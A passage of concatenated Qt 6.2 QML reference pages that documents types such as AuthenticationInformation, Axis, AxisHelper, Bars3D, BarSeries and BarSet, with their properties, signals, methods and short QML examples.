 The hostname of the authentication proxy. Empty if [type](qml-qtwebengine-authenticationdialogrequest#type-prop) is AuthenticationTypeHTTP.

 ###  [read-only] realm : [string](qml-string)

 The HTTP authentication realm attribute value of the `WWW-Authenticate` header. Empty if [type](qml-qtwebengine-authenticationdialogrequest#type-prop) is AuthenticationTypeProxy.

 ###  [read-only] type : [enumeration](qml-enumeration)

 The type of the authentication request.

 

| Constant | Description |
| --- | --- |
| `WebEngineAuthenticationDialogRequest.AuthenticationTypeHTTP` | HTTP authentication. |
| `WebEngineAuthenticationDialogRequest.AuthenticationTypeProxy` | Proxy authentication. |

 ###  [read-only] url : [url](qml-url)

 The URL of the HTTP request for which authentication was requested. In case of proxy authentication, this is a request URL which is proxied via host.

 **See also** [proxyHost](qml-qtwebengine-authenticationdialogrequest#proxyHost-prop).

 Method Documentation
--------------------

 ###  void dialogAccept([string](qml-string) *username*, [string](qml-string) *password*)

 This function notifies the engine that the user accepted the dialog, providing the *username* and the *password* required for authentication.

 ###  void dialogReject()

 This function notifies the engine that the user rejected the dialog and the authentication shall not proceed.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtwebengine-authenticationdialogrequest.html>

AuthenticationInformation QML Type
==================================

 The OPC UA authentication information. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtOpcUa |
|  Since: |  QtOpcUa 5.13 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtopcua-authenticationinformation-members.html)

 Methods
-------

 * **[setAnonymousAuthentication](qml-qtopcua-authenticationinformation#setAnonymousAuthentication-method)**()
* **[setUsernameAuthentication](qml-qtopcua-authenticationinformation#setUsernameAuthentication-method)**(string *username*, string *password*)

 Detailed Description
--------------------

 This class holds the information necessary to perform a login on a server.

 
```
var authInfo = connection.authenticationInformation;
authInfo.setUsernameAuthentication("user1", "password");
connection.authenticationInformation = authInfo;
```
 Current supported authentication methods are:

 * Anonymous
* Usernane
* Certificate

 **See also** [setAnonymousAuthentication](qml-qtopcua-authenticationinformation#setAnonymousAuthentication-method)() and [setUsernameAuthentication](qml-qtopcua-authenticationinformation#setUsernameAuthentication-method)().

 Method Documentation
--------------------

 ###  setAnonymousAuthentication()

 Sets the authentication method to anonymous.

 ###  setUsernameAuthentication([string](qml-string) *username*, [string](qml-string) *password*)

 Sets the authentication method to username, using the given *username* and *password*.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtopcua-authenticationinformation.html>

Axis QML Type
=============

 QML frontend for the [Qt3DInput::QAxis](qt3dinput-qaxis) C++ class. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QAxis](qt3dinput-qaxis) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-axis-members.html)

 Properties
----------

 * **[buttons](qml-qt3d-input-axis#buttons-prop)** : QVariantList
* **[inputs](qml-qt3d-input-axis#inputs-prop)** : list<AbstractAxisInput>
* **[scale](qml-qt3d-input-axis#scale-prop)** : real
* **[value](qml-qt3d-input-axis#value-prop)** : int
* **[velocity](qml-qt3d-input-axis#velocity-prop)** : real

 Detailed Description
--------------------

 Links a set of AbstractAxisInputs that trigger the same event.

 Property Documentation
----------------------

 ###  buttons : QVariantList

 The Buttons that can trigger this Action

 ###  inputs : [list](qml-list)<[AbstractAxisInput](qml-qt3d-input-abstractaxisinput)>

 the list of [AbstractAxisInput](qml-qt3d-input-abstractaxisinput) that can trigger this Axis.

 ###  scale : [real](qml-real)

 The amount to scale the axis value by when accumulating. This can be thought of as the maximum velocity or acceleration the axis can control.

 ###  [read-only] value : [int](qml-int)

 Holds the value accumulated from the sourceAxis.

 ###  [read-only] velocity : [real](qml-real)

 Returns the velocity. If the sourceAxisType is set to Velocity this is simply the value of the source axis multiplied by the scale. If the sourceAxisType is set to Acceleration, the velocity is integrated using the source axis' value as an acceleration.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-axis.html>

AxisAccumulator QML Type
========================

 QML frontend for the [Qt3DInput::QAxisAccumulator](qt3dinput-qaxisaccumulator) C++ class. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.8 |
|  Instantiates: | [QAxisAccumulator](qt3dinput-qaxisaccumulator) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-axisaccumulator-members.html)

 Properties
----------

 * **[sourceAxis](qml-qt3d-input-axisaccumulator#sourceAxis-prop)** : Axis
* **[sourceAxisType](qml-qt3d-input-axisaccumulator#sourceAxisType-prop)** : SourceAxisType
* **[value](qml-qt3d-input-axisaccumulator#value-prop)** : real

 Detailed Description
--------------------

 An Axis reports the current position of an axis on an input device. When the axis is returned to its neutral position the value of that axis returns to 0. Often, it is required to have the input from an axis control a variable in other ways, for example treating the value from the Axis as a velocity (first derivative with respect to time) or as an acceleration (second derivative with respect to time). This can be done with user code or with a [FrameAction](qml-qt3d-logic-frameaction) but those approached are not ideal as they add more work to the main thread and are inherently imperative. The AxisAccumulator class allows for this common task to be performed on the Qt 3D backend and be specified in a declarative manner.

 Property Documentation
----------------------

 ###  sourceAxis : [Axis](qml-qt3d-input-axis)

 The Axis for which the accumulator should integrate axis values.

 ###  sourceAxisType : SourceAxisType

 The sourceAxisType property specifies how the accumulator treats the values from the source axis.

 ###  value : [real](qml-real)

 The amount to scale the axis value by when accumulating. This can be thought of as the maximum velocity or acceleration the axis can control.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-axisaccumulator.html>

AxisHelper QML Type
===================

 Visual helper for showing the 3 axes and a grid in a 3D scene. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Helpers |
|  Inherits: | [Node](qml-qtquick3d-node) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-helpers-axishelper-members.html)

 Properties
----------

 * **[enableAxisLines](qml-qtquick3d-helpers-axishelper#enableAxisLines-prop)** : bool
* **[enableXYGrid](qml-qtquick3d-helpers-axishelper#enableXYGrid-prop)** : bool
* **[enableXZGrid](qml-qtquick3d-helpers-axishelper#enableXZGrid-prop)** : bool
* **[enableYZGrid](qml-qtquick3d-helpers-axishelper#enableYZGrid-prop)** : bool
* **[gridColor](qml-qtquick3d-helpers-axishelper#gridColor-prop)** : color
* **[gridOpacity](qml-qtquick3d-helpers-axishelper#gridOpacity-prop)** : real

 Detailed Description
--------------------

 ![]


The X axis is red, the Y axis is green, and the Z axis is blue.

 The example scene here has a Sphere at position `(0, 0, 0)` and an AxisHelper object. With the [WasdController](qml-qtquick3d-helpers-wasdcontroller) helper one can conveniently navigate the scene.

 
```
View3D {
    anchors.fill: parent
    camera: camera

    PerspectiveCamera {
        id: camera
        position: Qt.vector3d(0, 0, 600)
    }

    DirectionalLight {
        position: Qt.vector3d(-500, 500, -100)
        color: Qt.rgba(0.4, 0.2, 0.6, 1.0)
        ambientColor: Qt.rgba(0.1, 0.1, 0.1, 1.0)
    }

    Model {
        source: "#Sphere"
        materials: [ DefaultMaterial { } ]
    }

    AxisHelper {
    }
}

WasdController {
    controlledObject: camera
}
```
 Property Documentation
----------------------

 ###  enableAxisLines : [bool](qml-bool)

 Enables showing the axis lines. The default value is true.

 ###  enableXYGrid : [bool](qml-bool)

 Enables the grid on XY plane. The default value is false.

 ###  enableXZGrid : [bool](qml-bool)

 Enables the grid on XZ plane. The default value is true.

 ###  enableYZGrid : [bool](qml-bool)

 Enables the grid on YZ plane. The default value is false.

 ###  gridColor : [color](qml-color)

 Specifies the color of the grid. The default value is `Qt.rgba(0.8, 0.8, 0.8, 1)`.

 ###  gridOpacity : [real](qml-real)

 Specifies the opacity of the grid. The default value is 0.5.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-helpers-axishelper.html>

BackspaceKey QML Type
=====================

 Backspace key for keyboard layouts. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.VirtualKeyboard |
|  Inherits: | [BaseKey](qml-qtquick-virtualkeyboard-basekey) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-backspacekey-members.html)

 Detailed Description
--------------------

 Sends a backspace key for input method processing. This key is repeatable.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-backspacekey.html>

AxisSetting QML Type
====================

 QML frontend for the [Qt3DInput::QAxisSetting](qt3dinput-qaxissetting) C++ class. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QAxisSetting](qt3dinput-qaxissetting) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-axissetting-members.html)

 Properties
----------

 * **[axes](qml-qt3d-input-axissetting#axes-prop)** : list<int>
* **[axis](qml-qt3d-input-axissetting#axis-prop)** : QVariantList
* **[deadZoneRadius](qml-qt3d-input-axissetting#deadZoneRadius-prop)** : float
* **[smooth](qml-qt3d-input-axissetting#smooth-prop)** : bool

 Signals
-------

 * **[axisChanged](qml-qt3d-input-axissetting#axisChanged-signal)**()
* **[deadZoneRadiusChanged](qml-qt3d-input-axissetting#deadZoneRadiusChanged-signal)**()
* **[smoothChanged](qml-qt3d-input-axissetting#smoothChanged-signal)**()

 Detailed Description
--------------------

 Stores settings for the specified list of Axis

 Property Documentation
----------------------

 ###  axes : [list](qml-list)<[int](qml-int)>

 ###  axis : QVariantList

 The current axis of the [AxisSetting](qml-qt3d-input-axissetting)

 ###  deadZoneRadius : float

 The current deadZone radius of the [AxisSetting](qml-qt3d-input-axissetting)

 ###  smooth : [bool](qml-bool)

 The current state of smoothing

 Signal Documentation
--------------------

 ###  axisChanged()

 This signal is emitted when the axis associated with the axis setting is changed.

 The corresponding handler is `onAxisChanged`

 **Note:** The corresponding handler is `onAxisChanged`.

 ###  deadZoneRadiusChanged()

 This signal is emitted when the dead zone associated with the axis setting is changed.

 The corresponding handler is `onDeadZoneRadiusChanged`

 **Note:** The corresponding handler is `onDeadZoneRadiusChanged`.

 ###  smoothChanged()

 This signal is emitted when the when the smoothing state is changed.

 The corresponding handler is `onSmoothChanged`

 **Note:** The corresponding handler is `onSmoothChanged`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-axissetting.html>

Bar3DSeries QML Type
====================

 Represents a data series in a 3D bar graph. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Instantiates: | [QBar3DSeries](qbar3dseries) |
|  Inherits: | [Abstract3DSeries](qml-qtdatavisualization-abstract3dseries) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-bar3dseries-members.html)

 Properties
----------

 * **[dataProxy](qml-qtdatavisualization-bar3dseries#dataProxy-prop)** : BarDataProxy
* **[invalidSelectionPosition](qml-qtdatavisualization-bar3dseries#invalidSelectionPosition-prop)** : point
* **[meshAngle](qml-qtdatavisualization-bar3dseries#meshAngle-prop)** : real
* **[selectedBar](qml-qtdatavisualization-bar3dseries#selectedBar-prop)** : point

 Detailed Description
--------------------

 This type manages the series specific visual elements, as well as the series data (via a data proxy).

 For a more complete description, see [QBar3DSeries](qbar3dseries).

 **See also** [Qt Data Visualization Data Handling](qtdatavisualization-data-handling).

 Property Documentation
----------------------

 ###  dataProxy : [BarDataProxy](qml-qtdatavisualization-bardataproxy)

 The active data proxy. The series assumes ownership of any proxy set to it and deletes any previously set proxy when a new one is added. The proxy cannot be null or set to another series.

 ###  invalidSelectionPosition : [point](qml-point)

 A constant property providing an invalid position for selection. This position is set to the [selectedBar](qml-qtdatavisualization-bar3dseries#selectedBar-prop) property to clear the selection from this series.

 **See also** [AbstractGraph3D.clearSelection](qml-qtdatavisualization-abstractgraph3d#clearSelection-method)().

 ###  meshAngle : [real](qml-real)

 A convenience property for defining the series rotation angle in degrees.

  **Note:** When reading this property, it is calculated from the [Abstract3DSeries.meshRotation](qml-qtdatavisualization-abstract3dseries#meshRotation-prop) value using floating point precision and always returns a value from zero to 360 degrees.

  **See also** [Abstract3DSeries.meshRotation](qml-qtdatavisualization-abstract3dseries#meshRotation-prop).

 ###  selectedBar : [point](qml-point)

 The bar in the series that is selected.

 The position of the selected bar is specified as a row and column in the data array of the series.

 Only one bar can be selected at a time.

 To clear selection from this series, set [invalidSelectionPosition](qml-qtdatavisualization-bar3dseries#invalidSelectionPosition-prop) as the position.

 If this series is added to a graph, the graph can adjust the selection according to user interaction or if it becomes invalid. Selecting a bar on another added series will also clear the selection.

 Removing rows from or inserting rows to the series before the row of the selected bar will adjust the selection so that the same bar will stay selected.

 **See also** [AbstractGraph3D.clearSelection](qml-qtdatavisualization-abstractgraph3d#clearSelection-method)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-bar3dseries.html>

BarCategoryAxis QML Type
========================

 Adds categories to a chart's axes. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QBarCategoryAxis](qbarcategoryaxis) |
|  Inherits: | [AbstractAxis](qml-qtcharts-abstractaxis) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-barcategoryaxis-members.html)

 Properties
----------

 * **[categories](qml-qtcharts-barcategoryaxis#categories-prop)** : QStringList
* **[count](qml-qtcharts-barcategoryaxis#count-prop)** : int
* **[max](qml-qtcharts-barcategoryaxis#max-prop)** : string
* **[min](qml-qtcharts-barcategoryaxis#min-prop)** : string

 Signals
-------

 * **[rangeChanged](qml-qtcharts-barcategoryaxis#rangeChanged-signal)**(string *min*, string *max*)

 Methods
-------

 * void **[clear](qml-qtcharts-barcategoryaxis#clear-method)**()

 Detailed Description
--------------------

 The BarCategoryAxis type can be set up to show an axis line with tick marks, grid lines, and shades. Categories are drawn between the ticks. It can be used also with a line series.

 The following QML snippet illustrates how to use BarCategoryAxis:

 
```
ChartView {
    BarCategoryAxis {
        id: categoryAxis
        categories: ["Jan", "Feb", "Mar", "Apr", "May", "Jun" ]
    }
// Add a few series...
}
```
 Property Documentation
----------------------

 ###  categories : QStringList

 The categories of an axis.

 ###  count : [int](qml-int)

 The number of categories of an axis.

 ###  max : [string](qml-string)

 The maximum value on the axis.

 ###  min : [string](qml-string)

 The minimum value on the axis.

 Signal Documentation
--------------------

 ###  rangeChanged([string](qml-string) *min*, [string](qml-string) *max*)

 This signal is emitted when *min* or *max* value of the axis changes.

 The corresponding signal handler is `onRangeChanged`.

 **Note:** The corresponding handler is `onRangeChanged`.

 Method Documentation
--------------------

 ###  void clear()

 Removes all categories. Sets the maximum and minimum values of the axis range to QString::null.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-barcategoryaxis.html>

BarDataProxy QML Type
=====================

 The data proxy for a 3D bars graph. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Instantiates: | [QBarDataProxy](qbardataproxy) |
|  Inherits: | [AbstractDataProxy](qml-qtdatavisualization-abstractdataproxy) |
|  Inherited By: | [ItemModelBarDataProxy](qml-qtdatavisualization-itemmodelbardataproxy) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-bardataproxy-members.html)

 Properties
----------

 * **[columnLabels](qml-qtdatavisualization-bardataproxy#columnLabels-prop)** : list
* **[rowCount](qml-qtdatavisualization-bardataproxy#rowCount-prop)** : int
* **[rowLabels](qml-qtdatavisualization-bardataproxy#rowLabels-prop)** : list
* **[series](qml-qtdatavisualization-bardataproxy#series-prop)** : Bar3DSeries

 Detailed Description
--------------------

 This type handles adding, inserting, changing, and removing rows of data with Qt Quick 2.

 This type is uncreatable, but contains properties that are exposed via subtypes.

 For a more complete description, see [QBarDataProxy](qbardataproxy).

 **See also** [ItemModelBarDataProxy](qml-qtdatavisualization-itemmodelbardataproxy) and [Qt Data Visualization Data Handling](qtdatavisualization-data-handling).

 Property Documentation
----------------------

 ###  columnLabels : [list](qml-list)

 The optional column labels for the array. Indexes in this array match column indexes in rows. If the list is shorter than the longest row, all columns will not get labels.

 ###  rowCount : [int](qml-int)

 The number of rows in the array.

 ###  rowLabels : [list](qml-list)

 The optional row labels for the array. Indexes in this array match the row indexes in the data array. If the list is shorter than the number of rows, all rows will not get labels.

 ###  series : [Bar3DSeries](qml-qtdatavisualization-bar3dseries)

 The series this proxy is attached to.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-bardataproxy.html>

Bars3D QML Type
===============

 3D bar graph. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Inherits: | [AbstractGraph3D](qml-qtdatavisualization-abstractgraph3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-bars3d-members.html)

 Properties
----------

 * **[barSpacing](qml-qtdatavisualization-bars3d#barSpacing-prop)** : size
* **[barSpacingRelative](qml-qtdatavisualization-bars3d#barSpacingRelative-prop)** : bool
* **[barThickness](qml-qtdatavisualization-bars3d#barThickness-prop)** : real
* **[columnAxis](qml-qtdatavisualization-bars3d#columnAxis-prop)** : CategoryAxis3D
* **[floorLevel](qml-qtdatavisualization-bars3d#floorLevel-prop)** : real
* **[multiSeriesUniform](qml-qtdatavisualization-bars3d#multiSeriesUniform-prop)** : bool
* **[primarySeries](qml-qtdatavisualization-bars3d#primarySeries-prop)** : Bar3DSeries
* **[rowAxis](qml-qtdatavisualization-bars3d#rowAxis-prop)** : CategoryAxis3D
* **[selectedSeries](qml-qtdatavisualization-bars3d#selectedSeries-prop)** : Bar3DSeries
* **[seriesList](qml-qtdatavisualization-bars3d#seriesList-prop)** : list<Bar3DSeries>
* **[valueAxis](qml-qtdatavisualization-bars3d#valueAxis-prop)** : ValueAxis3D

 Methods
-------

 * void **[addSeries](qml-qtdatavisualization-bars3d#addSeries-method)**(Bar3DSeries *series*)
* void **[insertSeries](qml-qtdatavisualization-bars3d#insertSeries-method)**(int *index*, Bar3DSeries *series*)
* void **[removeSeries](qml-qtdatavisualization-bars3d#removeSeries-method)**(Bar3DSeries *series*)

 Detailed Description
--------------------

 This type enables developers to render bar graphs in 3D with Qt Quick 2.

 You will need to import data visualization module to use this type:

 
```
import QtDataVisualization 1.2
```
 After that you can use Bars3D in your qml files:

 
```
import QtQuick 2.0
import QtDataVisualization 1.2

Item {
    width: 640
    height: 480

    Bars3D {
        width: parent.width
        height: parent.height

        Bar3DSeries {
            itemLabelFormat: "@colLabel, @rowLabel: @valueLabel"

            ItemModelBarDataProxy {
                itemModel: dataModel
                // Mapping model roles to bar series rows, columns, and values.
                rowRole: "year"
                columnRole: "city"
                valueRole: "expenses"
            }
        }
    }

    ListModel {
        id: dataModel
        ListElement{ year: "2012"; city: "Oulu";     expenses: "4200"; }
        ListElement{ year: "2012"; city: "Rauma";    expenses: "2100"; }
        ListElement{ year: "2012"; city: "Helsinki"; expenses: "7040"; }
        ListElement{ year: "2012"; city: "Tampere";  expenses: "4330"; }
        ListElement{ year: "2013"; city: "Oulu";     expenses: "3960"; }
        ListElement{ year: "2013"; city: "Rauma";    expenses: "1990"; }
        ListElement{ year: "2013"; city: "Helsinki"; expenses: "7230"; }
        ListElement{ year: "2013"; city: "Tampere";  expenses: "4650"; }
    }
}
```
 See [Qt Quick 2 Bars Example](https://doc.qt.io/qt-6.2/qtdatavis3d-qmlbars-example.html) for more thorough usage example.

 **See also** [Bar3DSeries](qml-qtdatavisualization-bar3dseries), [ItemModelBarDataProxy](qml-qtdatavisualization-itemmodelbardataproxy), [Scatter3D](qml-qtdatavisualization-scatter3d), [Surface3D](qml-qtdatavisualization-surface3d), and [Qt Data Visualization C++ Classes](https://doc.qt.io/qt-6.2/qtdatavisualization-module.html).

 Property Documentation
----------------------

 ###  barSpacing : [size](qml-size)

 Bar spacing in X and Z dimensions.

 Preset to `(1.0, 1.0)` by default. Spacing is affected by the [barSpacingRelative](qml-qtdatavisualization-bars3d#barSpacingRelative-prop) property.

 ###  barSpacingRelative : [bool](qml-bool)

 Whether spacing is absolute or relative to bar thickness.

 If `true`, the value of `0.0` means that the bars are placed side-to-side, `1.0` means that a space as wide as the thickness of one bar is left between the bars, and so on. Preset to `true`.

 ###  barThickness : [real](qml-real)

 The bar thickness ratio between the X and Z dimensions. The value `1.0` means that the bars are as wide as they are deep, whereas `0.5` makes them twice as deep as they are wide.

 ###  columnAxis : [CategoryAxis3D](qml-qtdatavisualization-categoryaxis3d)

 The active column axis.

 If an axis is not given, a temporary default axis with no labels is created. This temporary axis is destroyed if another axis is explicitly set to the same orientation.

 ###  floorLevel : [real](qml-real)

 The floor level for the bar graph in Y-axis data coordinates.

 The actual floor level will be restricted by the Y-axis minimum and maximum values. Defaults to zero.

 ###  multiSeriesUniform : [bool](qml-bool)

 Defines whether bars are to be scaled with proportions set to a single series bar even if there are multiple series displayed. If set to `true`, [bar spacing](qml-qtdatavisualization-bars3d#barSpacing-prop) will be correctly applied only to the X-axis. Preset to `false` by default.

 ###  primarySeries : [Bar3DSeries](qml-qtdatavisualization-bar3dseries)

 The primary series of the graph. It is used to determine the row and column axis labels when the labels are not explicitly set to the axes.

 If the specified series is not yet added to the graph, setting it as the primary series will also implicitly add it to the graph.

 If the primary series itself is removed from the graph, this property resets to default.

 If the series is null, this property resets to default. Defaults to the first added series or zero if no series are added to the graph.

 ###  rowAxis : [CategoryAxis3D](qml-qtdatavisualization-categoryaxis3d)

 The active row axis.

 If an axis is not given, a temporary default axis with no labels is created. This temporary axis is destroyed if another axis is explicitly set to the same orientation.

 ###  selectedSeries : [Bar3DSeries](qml-qtdatavisualization-bar3dseries)

 The selected series or `null`. If [selectionMode](qabstract3dgraph#selectionMode-prop) has the `SelectionMultiSeries` flag set, this property holds the series that owns the selected bar.

 ###  [default] seriesList : [list](qml-list)<[Bar3DSeries](qml-qtdatavisualization-bar3dseries)>

 The series of the graph. By default, this property contains an empty list. To set the series, either use the [addSeries](qml-qtdatavisualization-bars3d#addSeries-method)() function or define them as children of the graph.

 ###  valueAxis : [ValueAxis3D](qml-qtdatavisualization-valueaxis3d)

 The active value axis.

 If an axis is not given, a temporary default axis with no labels and an automatically adjusting range is created. This temporary axis is destroyed if another axis is explicitly set to the same orientation.

 Method Documentation
--------------------

 ###  void addSeries([Bar3DSeries](qml-qtdatavisualization-bar3dseries) *series*)

 Adds the *series* to the graph. A graph can contain multiple series, but only one set of axes, so the rows and columns of all series must match for the visualized data to be meaningful. If the graph has multiple visible series, only the first one added will generate the row or column labels on the axes in cases where the labels are not explicitly set to the axes. If the newly added series has specified a selected bar, it will be highlighted and any existing selection will be cleared. Only one added series can have an active selection.

 ###  void insertSeries([int](qml-int) *index*, [Bar3DSeries](qml-qtdatavisualization-bar3dseries) *series*)

 Inserts the *series* into the position *index* in the series list. If the *series* has already been added to the list, it is moved to the new *index*.

  **Note:** When moving a series to a new *index* that is after its old index, the new position in list is calculated as if the series was still in its old index, so the final index is actually the *index* decremented by one.

  ###  void removeSeries([Bar3DSeries](qml-qtdatavisualization-bar3dseries) *series*)

 Remove the *series* from the graph.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-bars3d.html>

BarSeries QML Type
==================

 Presents a series of data as vertical bars grouped by category. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QBarSeries](qbarseries) |
|  Inherits: | [AbstractBarSeries](qml-qtcharts-abstractbarseries) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-barseries-members.html)

 Detailed Description
--------------------

 The data is drawn as a series of vertical bars grouped by category, with one bar per category from each bar set added to the series.

 The following QML code snippet shows how to create a simple grouped bar chart:

 
```
ChartView {
    title: "Bar series"
    anchors.fill: parent
    legend.alignment: Qt.AlignBottom
    antialiasing: true

    BarSeries {
        id: mySeries
        axisX: BarCategoryAxis { categories: ["2007", "2008", "2009", "2010", "2011", "2012" ] }
        BarSet { label: "Bob"; values: [2, 2, 3, 4, 5, 6] }
        BarSet { label: "Susan"; values: [5, 1, 2, 4, 1, 7] }
        BarSet { label: "James"; values: [3, 5, 8, 13, 5, 8] }
    }
}
```
 ![]



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-barseries.html>

BarSet QML Type
===============

 Represents one set of bars in a bar chart. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QBarSet](qbarset) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-barset-members.html)

 Properties
----------

 * **[borderColor](qml-qtcharts-barset#borderColor-prop)** : color
* **[borderWidth](qml-qtcharts-barset#borderWidth-prop)** : real
* **[brushFilename](qml-qtcharts-barset#brushFilename-prop)** : string
* **[color](qml-qtcharts-barset#color-prop)** : color
* **[count](qml-qtcharts-barset#count-prop)** : int
* **[label](qml-qtcharts-barset#label-prop)** : string
* **[labelColor](qml-qtcharts-barset#labelColor-prop)** : color
* **[labelFont](qml-qtcharts-barset#labelFont-prop)** : font
* **[values](qml-qtcharts-barset#values-prop)** : QVariantList

 Signals
-------

 * **[valueChanged](qml-qtcharts-barset#valueChanged-signal)**(int *index*)
* **[valuesAdded](qml-qtcharts-barset#valuesAdded-signal)**(int *index*, int *count*)
* **[valuesRemoved](qml-qtcharts-barset#valuesRemoved-signal)**(int *index*, int *count*)

 Methods
-------

 * **[append](qml-qtcharts-barset#append-method)**(real *value*)
* **[at](qml-qtcharts-barset#at-method)**(int *index*)
* **[clicked](qml-qtcharts-barset#clicked-method)**(int *index*)
* **[doubleClicked](qml-qtcharts-barset#doubleClicked-method)**(int *index*)
* **[pressed](qml-qtcharts-barset#pressed-method)**(int *index*)
* **[released](qml-qtcharts-barset#released-method)**(int *index*)
* **[remove](qml-qtcharts-barset#remove-method)**(int *index*, int *count*)
* **[replace](qml-qtcharts-barset#replace-method)**(int *index*, real *value*)

 Detailed Description
--------------------

 A bar set contains one data value for each category. The first value of a set is assumed to belong to the first category, the second one to the second category, and so on. If the set has fewer values than there are categories, the missing values are assumed to be located at the end of the set. For missing values in the middle of a set, the numerical value of zero is used. Labels for zero value sets are not shown.

 **See also** [AbstractBarSeries](qml-qtcharts-abstractbarseries), [BarSeries](qml-qtcharts-barseries), [StackedBarSeries](qml-qtcharts-stackedbarseries), [PercentBarSeries](qml-qtcharts-percentbarseries), [HorizontalBarSeries](qml-qtcharts-horizontalbarseries), [HorizontalStackedBarSeries](qml-qtcharts-horizontalstackedbarseries), and [HorizontalPercentBarSeries](qml-qtcharts-horizontalpercentbarseries).

 Property Documentation
----------------------

 ###  borderColor : [color](qml-color)

 The line (pen) color of the bar set.

 ###  borderWidth : [real](qml-real)

 The width of the border line. By default, the width is 2.0.

 ###  brushFilename : [string](qml-string)

 The name of the file used as a brush for the set.

 ###  color : [color](qml-color)

 The fill (brush) color of the bar set.

 ###  count : [int](qml-int)

 The number of values in the bar set.

 ###  label : [string](qml-string)

 The label of the bar set.

 ###  labelColor : [color](qml-color)

 The text (label) color of the bar set.

 ###  labelFont : [font](qml-font)

 The font used to draw the bar set's label.

 For more information, see [font](qml-font).

 ###  values : QVariantList

 The values of the bar set. You can set a list of either [real](qml-real) or [point](qml-point) types as values.

 If you set a list of real types as values, they directly define the bar set values.

 If you set a list of point types as values, the x-coordinate of the point specifies its zero-based index in the bar set. The size of the bar set is the highest x-coordinate value + 1. If a point is missing for any x-coordinate between zero and the highest value, it gets the value zero.

 For example, the following bar sets have equal values:

 
```
myBarSet1.values = [5, 0, 1, 5];
myBarSet2.values = [Qt.point(0, 5), Qt.point(2, 1), Qt.point(3, 5)];
```
 Signal Documentation
--------------------

 ###  valueChanged([int](qml-int) *index*)

 This signal is emitted when the value at the position specified by *index* is modified.

 The corresponding signal handler is `onValueChanged`.

 **Note:** The corresponding handler is `onValueChanged`.

 ###  valuesAdded([int](qml-int) *index*, [int](qml-int) *count*)

 This signal is emitted when new values are added to the bar set. *index* indicates the position of the first inserted value, and *count* is the number of inserted values.

 The corresponding signal handler is `onValuesAdded`.

 **Note:** The corresponding handler is `onValuesAdded`.

 ###  valuesRemoved([int](qml-int) *index*, [int](qml-int) *count*)

 This signal is emitted when values are removed from the bar set. *index* indicates the position of the first removed value, and *count* is the number of removed values.

 The corresponding signal handler is `onValuesRemoved`.

 **Note:** The corresponding handler is `onValuesRemoved`.

 Method Documentation
--------------------

 ###  append([real](qml-real) *value*)

 Appends the new value specified by *value* to the end of the bar set.

 ###  at([int](qml-int) *index*)

 Returns the value specified by *index* from the bar set. If the index is out of bounds, 0.0 is returned.

 ###  clicked([int](qml-int) *index*)

 This signal is emitted when the user clicks the bar specified by *index* in a bar set.

 The corresponding signal handler is `onClicked`.

